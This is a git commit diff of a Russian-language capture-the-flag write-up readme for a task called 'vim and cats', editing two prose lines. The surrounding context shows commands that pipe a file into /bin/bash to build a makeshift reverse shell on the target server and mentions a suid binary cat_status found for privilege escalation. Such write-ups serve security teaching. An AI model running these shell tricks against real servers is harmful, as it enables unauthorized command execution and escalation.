Update 'tasks/vim and cats/readme.md'
This commit is contained in:
parent
7ab78dc35a
commit
e4333a1e2b
1 changed files with 2 additions and 2 deletions
|
@ -74,7 +74,7 @@ command('cd /tmp;cat /tmp/in | /bin/bash > /tmp/out') # Работать впо
|
||||||
command('sleep 9999999 > /tmp/in')
|
command('sleep 9999999 > /tmp/in')
|
||||||
```
|
```
|
||||||
|
|
||||||
В третьем открытом python будем реализовывать интерфейс общения. Чтобы выполнить команду, сейчас нужно послать её в /tmp/in и считать результат из /tmp/out.
|
В третьем открытом python будем реализовывать интерфейс общения. Чтобы выполнить команду, нужно послать её в /tmp/in и считать результат из /tmp/out.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
def shell():
|
def shell():
|
||||||
|
@ -88,7 +88,7 @@ def shell():
|
||||||
|
|
||||||
Готово! Теперь, у нас есть удобный reverse-shell для взаимодействия с сервером.
|
Готово! Теперь, у нас есть удобный reverse-shell для взаимодействия с сервером.
|
||||||
|
|
||||||
Разберёмся с программой. Нашим reverse-shell мы узнаем что в /opt есть бинарный файл cat_status, а рядом можем найти исходный код программы.
|
Разберёмся с программой. Нашим reverse-shell мы узнаем что в /opt есть бинарный файл cat_status с suid битом, а рядом можем найти исходный код программы.
|
||||||
```c
|
```c
|
||||||
#include<stdlib.h>
|
#include<stdlib.h>
|
||||||
#include<stdio.h>
|
#include<stdio.h>
|
||||||
|
|
Loading…
Reference in a new issue